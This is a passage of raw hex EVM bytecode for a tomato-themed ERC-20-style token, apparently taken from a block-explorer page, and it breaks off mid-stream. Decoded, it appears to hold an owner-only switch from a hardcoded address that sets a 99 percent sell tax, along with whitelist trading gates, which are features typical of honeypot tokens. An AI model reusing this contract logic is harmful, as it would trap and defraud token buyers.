fffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611d6d91906130fa565b60405180910390a35b5050565b5f33600b60029054906101000a900460ff1680611ddd5750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80611e0c5750600b5f9054906101000a900460ff16158015611e0b5750600b60019054906101000a900460ff165b5b80611ecd5750600b5f9054906101000a900460ff168015611e735750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8015611ecc575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b80611f31575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16148015611f3057505f600a54145b5b611f70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f6790613338565b60405180910390fd5b8260045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015611fb9575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611ff0575f80fd5b6120408360045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612e8a90919063ffffffff16565b60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506120d18360045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612ee290919063ffffffff16565b60045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161216f91906130fa565b60405180910390a3600191505092915050565b73361c9eeff3b2a35224090ce55f04b98fd2b037c573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612204576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121fb90613706565b60405180910390fd5b600b5f9054906101000a900460ff1615612253576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161224a9061376e565b60405180910390fd5b5f8214612295576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161228c906137d6565b60405180910390fd5b606381146122d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122cf9061388a565b60405180910390fd5b8160098190555080600a819055506001600b5f6101000a81548160ff0219169083151502179055506001600b60016101000a81548160ff0219169083151502179055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1828260405161234c9291906138a8565b60405180910390a15050565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6005602052815f5260405f20602052805f5260405f205f91509150505481565b33600b60029054906101000a900460ff16806123ff5750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8061242e5750600b5f9054906101000a900460ff1615801561242d5750600b60019054906101000a900460ff165b5b806124ef5750600b5f9054906101000a900460ff1680156124955750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80156124ee575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b80612553575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614801561255257505f600a54145b5b612592576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161258990613338565b60405180910390fd5b8160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015612612576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161260990613919565b60405180910390fd5b600b60019054906101000a900460ff1615612a12575f808390505f600a5411801561268a575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b80156126dd5750600c5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156127225761270a60646126fc600a5487612dbc90919063ffffffff16565b612e3390919063ffffffff16565b915061271f8285612e8a90919063ffffffff16565b90505b6127728460045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612e8a90919063ffffffff16565b60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506128248160045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612ee290919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161290491906130fa565b60405180910390a35f821115612a0b576129648260045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612ee290919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612a0291906130fa565b60405180910390a35b5050612bfd565b612a628260045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612e8a90919063ffffffff16565b60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550612b148260045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612ee290919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612bf491906130fa565b60405180910390a35b5050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612c90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c87906134fe565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603612cfe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612cf590613981565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a38060065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f808303612dcc575f9050612e2d565b5f8284612dd991906139cc565b9050828482612de89190613a3a565b14612e28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e1f90613ada565b60405180910390fd5b809150505b92915050565b5f808211612e76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e6d90613b42565b60405180910390fd5b8183612e829190613a3a565b905092915050565b5f82821115612ece576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ec590613baa565b60405180910390fd5b8183612eda9190613bc8565b905092915050565b5f808284612ef09190613bfb565b905083811015612f35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f2c90613c78565b60405180910390fd5b8091505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015612f76578082015181840152602081019050612f5b565b5f8484015250505050565b5f601f19601f8301169050919050565b5f612f9b82612f3f565b612fa58185612f49565b9350612fb5818560208601612f59565b612fbe81612f81565b840191505092915050565b5f6020820190508181035f830152612fe18184612f91565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61301682612fed565b9050919050565b6130268161300c565b8114613030575f80fd5b50565b5f813590506130418161301d565b92915050565b5f819050919050565b61305981613047565b8114613063575f80fd5b50565b5f8135905061307481613050565b92915050565b5f80604083850312156130905761308f612fe9565b5b5f61309d85828601613033565b92505060206130ae85828601613066565b9150509250929050565b5f8115159050919050565b6130cc816130b8565b82525050565b5f6020820190506130e55f8301846130c3565b92915050565b6130f481613047565b82525050565b5f60208201905061310d5f8301846130eb565b92915050565b5f805f6060848603121561312a57613129612fe9565b5b5f61313786828701613033565b935050602061314886828701613033565b925050604061315986828701613066565b9150509250925092565b5f60ff82169050919050565b61317881613163565b82525050565b5f6020820190506131915f83018461316f565b92915050565b5f602082840312156131ac576131ab612fe9565b5b5f6131b984828501613033565b91505092915050565b6131cb8161300c565b82525050565b5f6020820190506131e45f8301846131c2565b92915050565b5f8060408385031215613200576131ff612fe9565b5b5f61320d85828601613066565b925050602061321e85828601613066565b9150509250929050565b5f806040838503121561323e5761323d612fe9565b5b5f61324b85828601613033565b925050602061325c85828601613033565b9150509250929050565b5f6020828403121561327b5761327a612fe9565b5b5f61328884828501613066565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806132d557607f821691505b6020821081036132e8576132e7613291565b5b50919050565b7f4a756963797979000000000000000000000000000000000000000000000000005f82015250565b5f613322600783612f49565b915061332d826132ee565b602082019050919050565b5f6020820190508181035f83015261334f81613316565b9050919050565b7f546f6d61746f6f6f6f73204a756963792050726f666974732c204672657368205f8201527f66726f6d2074686520426c6f636b636861696e21000000000000000000000000602082015250565b5f6133b0603483612f49565b91506133bb82613356565b604082019050919050565b5f6020820190508181035f8301526133dd816133a4565b9050919050565b7f24544f4d41544f4c4f56455253000000000000000000000000000000000000005f82015250565b5f613418600d83612f49565b9150613423826133e4565b602082019050919050565b5f6020820190508181035f8301526134458161340c565b9050919050565b7f24544f4d41544f4f4f4f000000000000000000000000000000000000000000005f82015250565b5f613480600a83612f49565b915061348b8261344c565b602082019050919050565b5f6020820190508181035f8301526134ad81613474565b9050919050565b7f44656c6963696f757373730000000000000000000000000000000000000000005f82015250565b5f6134e8600b83612f49565b91506134f3826134b4565b602082019050919050565b5f6020820190508181035f830152613515816134dc565b9050919050565b7f4d484d4d4d4d00000000000000000000000000000000000000000000000000005f82015250565b5f613550600683612f49565b915061355b8261351c565b602082019050919050565b5f6020820190508181035f83015261357d81613544565b9050919050565b7f544153545320534f20474f4f44000000000000000000000000000000000000005f82015250565b5f6135b8600d83612f49565b91506135c382613584565b602082019050919050565b5f6020820190508181035f8301526135e5816135ac565b9050919050565b7f44454c4943494f555353535353000000000000000000000000000000000000005f82015250565b5f613620600d83612f49565b915061362b826135ec565b602082019050919050565b5f6020820190508181035f83015261364d81613614565b9050919050565b7f544d5453000000000000000000000000000000000000000000000000000000005f82015250565b5f613688600483612f49565b915061369382613654565b602082019050919050565b5f6020820190508181035f8301526136b58161367c565b9050919050565b7f59554d4d590000000000000000000000000000000000000000000000000000005f82015250565b5f6136f0600583612f49565b91506136fb826136bc565b602082019050919050565b5f6020820190508181035f83015261371d816136e4565b9050919050565b7f544f4d41544f4c4f56494e4700000000000000000000000000000000000000005f82015250565b5f613758600c83612f49565b915061376382613724565b602082019050919050565b5f6020820190508181035f8301526137858161374c565b9050919050565b7f44454c4943494f5553544f4d41544f53000000000000000000000000000000005f82015250565b5f6137c0601083612f49565b91506137cb8261378c565b602082019050919050565b5f6020820190508181035f8301526137ed816137b4565b9050919050565b7f4a756963792050726f666974732c2046726573682066726f6d2074686520426c5f8201527f6f636b636861696e214a756963792050726f666974732c20467265736820667260208201527f6f6d2074686520426c6f636b636861696e210000000000000000000000000000604082015250565b5f613874605283612f49565b915061387f826137f4565b606082019050919050565b5f6020820190508181035f8301526138a181613868565b9050919050565b5f6040820190506138bb5f8301856130eb565b6138c860208301846130eb565b9392505050565b7f4a55494359544f4d41544f5300000000000000000000000000000000000000005f82015250565b5f613903600c83612f49565b915061390e826138cf565b602082019050919050565b5f6020820190508181035f830152613930816138f7565b9050919050565b7f24544f4d41544f4c4f5645524f4e434841494e000000000000000000000000005f82015250565b5f61396b601383612f49565b915061397682613937565b602082019050919050565b5f6020820190508181035f8301526139988161395f565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6139d682613047565b91506139e183613047565b92508282026139ef81613047565b91508282048414831517613a0657613a0561399f565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f613a4482613047565b9150613a4f83613047565b925082613a5f57613a5e613a0d565b5b828204905092915050565b7f4a756963792050726f666974732c2046726573682066726f6d2074686520426c5f8201527f6f636b636861696e210000000000000000000000000000000000000000000000602082015250565b5f613ac4602983612f49565b9150613acf82613a6a565b604082019050919050565b5f6020820190508181035f830152613af181613ab8565b9050919050565b7f24544f4d41544f000000000000000000000000000000000000000000000000005f82015250565b5f613b2c600783612f49565b9150613b3782613af8565b602082019050919050565b5f6020820190508181035f830152613b5981613b20565b9050919050565b7f546f6d61746f204c6f76657273000000000000000000000000000000000000005f82015250565b5f613b94600d83612f49565b9150613b9f82613b60565b602082019050919050565b5f6020820190508181035f830152613bc181613b88565b9050919050565b5f613bd282613047565b9150613bdd83613047565b9250828203905081811115613bf557613bf461399f565b5b92915050565b5f613c0582613047565b9150613c1083613047565b9250828201905080821115613c2857613c2761399f565b5b92915050565b7f54617374792074617374790000000000000000000000000000000000000000005f82015250565b5f613c62600b83612f49565b9150613c6d82613c2e565b602082019050919050565b5f6020820190508181035f830152613c8f81613c56565b905091905056fea2646970667358221220e1c4153fa45621f33a294723b79e39e1e5ded6bd0406ba522ad75d2ca9e5125c64736f6c63430008150033000000000000000000000000361c9eeff3b2a35224090ce55f04b98fd2b037c5000000000000000004140c78940f6a24fdffc78873d4490d20ffffffffffffff

Deployed Bytecode

0x60806040526004361061014a575f3560e01c8063715018a6116100b5578063a9059cbb1161006e578063a9059cbb14610442578063b390c0ab1461047e578063c31c9c07146104a6578063dd62ed3e146104d0578063e4849b321461050c578063f2fde38b146105345761014a565b8063715018a61461038e5780638da5cb5b146103a457806395d89b41146103ce5780639975038c146103f8578063a64e4f8a1461040e578063a6f2ae3a146104385761014a565b8063313ce56711610107578063313ce5671461026e5780633f4218e01461029857806347062402146102d457806347b5dd54146102fe57806364bcf5f41461032857806370a08231146103525761014a565b806306fdde031461014e578063095ea7b31461017857806318160ddd146101b457806323b872dd146101de57806325e0e4d01461021a5780632b14ca5614610244575b5f80fd5b348015610159575f80fd5b5061016261055c565b60405161016f9190612fc9565b60405180910390f35b348015610183575f80fd5b5061019e6004803603810190610199919061307a565b6105e7565b6040516101ab91906130d2565b60405180910390f35b3480156101bf575f80fd5b506101c86106d4565b6040516101d591906130fa565b60405180910390f35b3480156101e9575f80fd5b5061020460048036038101906101ff9190613113565b6106da565b60405161021191906130d2565b60405180910390f35b348015610225575f80fd5b5061022e611226565b60405161023b91906130d2565b60405180910390f35b34801561024f575f80fd5b50610258611238565b60405161026591906130fa565b60405180910390f35b348015610279575f80fd5b5061028261123e565b60405161028f919061317e565b60405180910390f35b3480156102a3575f80fd5b506102be60048036038101906102b99190613197565b611250565b6040516102cb91906130d2565b60405180910390f35b3480156102df575f80fd5b506102e861126d565b6040516102f591906130fa565b60405180910390f35b348015610309575f80fd5b50610312611273565b60405161031f91906130fa565b60405180910390f35b348015610333575f80fd5b5061033c611279565b60405161034991906130d2565b60405180910390f35b34801561035d575f80fd5b5061037860048036038101906103739190613197565b61128c565b60405161038591906130fa565b60405180910390f35b348015610399575f80fd5b506103a26112a1565b005b3480156103af575f80fd5b506103b86113ed565b6040516103c591906131d1565b60405180910390f35b3480156103d9575f80fd5b506103e2611412565b6040516103ef9190612fc9565b60405180910390f35b348015610403575f80fd5b5061040c61149e565b005b348015610419575f80fd5b50610422611724565b60405161042f91906130d2565b60405180910390f35b610440611737565b005b34801561044d575f80fd5b506104686004803603810190610463919061307a565b611d7a565b60405161047591906130d2565b60405180910390f35b348015610489575f80fd5b506104a4600480360381019061049f91906131ea565b612182565b005b3480156104b1575f80fd5b506104ba612358565b6040516104c791906131d1565b60405180910390f35b3480156104db575f80fd5b506104f660048036038101906104f19190613228565b61237d565b60405161050391906130fa565b60405180910390f35b348015610517575f80fd5b50610532600480360381019061052d9190613266565b61239d565b005b34801561053f575f80fd5b5061055a60048036038101906105559190613197565b612c01565b005b5f8054610568906132be565b80601f0160208091040260200160405190810160405280929190818152602001828054610594906132be565b80156105df5780601f106105b6576101008083540402835291602001916105df565b820191905f5260205f20905b8154815290600101906020018083116105c257829003601f168201915b505050505081565b5f8160055f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516106c291906130fa565b60405180910390a36001905092915050565b60025481565b5f83600b60029054906101000a900460ff168061073d5750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8061076c5750600b5f9054906101000a900460ff1615801561076b5750600b60019054906101000a900460ff165b5b8061082d5750600b5f9054906101000a900460ff1680156107d35750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b801561082c575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b80610891575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614801561089057505f600a54145b5b6108d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c790613338565b60405180910390fd5b8260045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610950576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610947906133c6565b60405180910390fd5b8260055f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610a0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a029061342e565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610a79576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7090613496565b60405180910390fd5b5f80849050600b60019054906101000a900460ff168015610a9b57505f600a54115b8015610af4575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614155b8015610b475750600c5f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15610b8c57610b746064610b66600a5488612dbc90919063ffffffff16565b612e3390919063ffffffff16565b9150610b898286612e8a90919063ffffffff16565b90505b610bdc8560045f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612e8a90919063ffffffff16565b60045f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550610c6d8160045f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612ee290919063ffffffff16565b60045f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610d0b91906130fa565b60405180910390a35f821115610f5a575f735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f90508073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1603610e6157610db68360045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612ee290919063ffffffff16565b60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610e5491906130fa565b60405180910390a3610f58565b610eb18360045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612ee290919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610f4f91906130fa565b60405180910390a35b505b3373ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff161415801561102e57507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60055f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205414155b15611218576110be8560055f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612e8a90919063ffffffff16565b60055f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503373ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560055f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460405161120f91906130fa565b60405180910390a35b600193505050509392505050565b600b5f9054906101000a900460ff1681565b600a5481565b60035f9054906101000a900460ff1681565b600c602052805f5260405f205f915054906101000a900460ff1681565b60095481565b60085481565b600b60029054906101000a900460ff1681565b6004602052805f5260405f205f915090505481565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611330576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611327906134fe565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6001805461141f906132be565b80601f016020809104026020016040519081016040528092919081815260200182805461144b906132be565b80156114965780601f1061146d57610100808354040283529160200191611496565b820191905f5260205f20905b81548152906001019060200180831161147957829003601f168201915b505050505081565b600b5f9054906101000a900460ff166114ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e390613566565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff160361157b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611572906135ce565b60405180910390fd5b5f600854116115bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115b690613636565b60405180910390fd5b6115d6600854600254612ee290919063ffffffff16565b60028190555061164f60085460045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612ee290919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688560085460405161171a91906130fa565b60405180910390a2565b600b60019054906101000a900460ff1681565b33600b60029054906101000a900460ff16806117995750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b806117c85750600b5f9054906101000a900460ff161580156117c75750600b60019054906101000a900460ff165b5b806118895750600b5f9054906101000a900460ff16801561182f5750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8015611888575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b806118ed575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161480156118ec57505f600a54145b5b61192c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192390613338565b60405180910390fd5b5f341161196e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119659061369e565b60405180910390fd5b5f3490505f6009541115611c1c575f6119a5606461199760095485612dbc90919063ffffffff16565b612e3390919063ffffffff16565b90505f6119bb8284612e8a90919063ffffffff16565b9050611a2e8160045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612ee290919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611b0e91906130fa565b60405180910390a35f821115611c1557611b6e8260045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612ee290919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611c0c91906130fa565b60405180910390a35b5050611d76565b611c8d8160045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612ee290919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611d6d91906130fa565b60405180910390a35b5050565b5f33600b60029054906101000a900460ff1680611ddd5750600c5f8273ff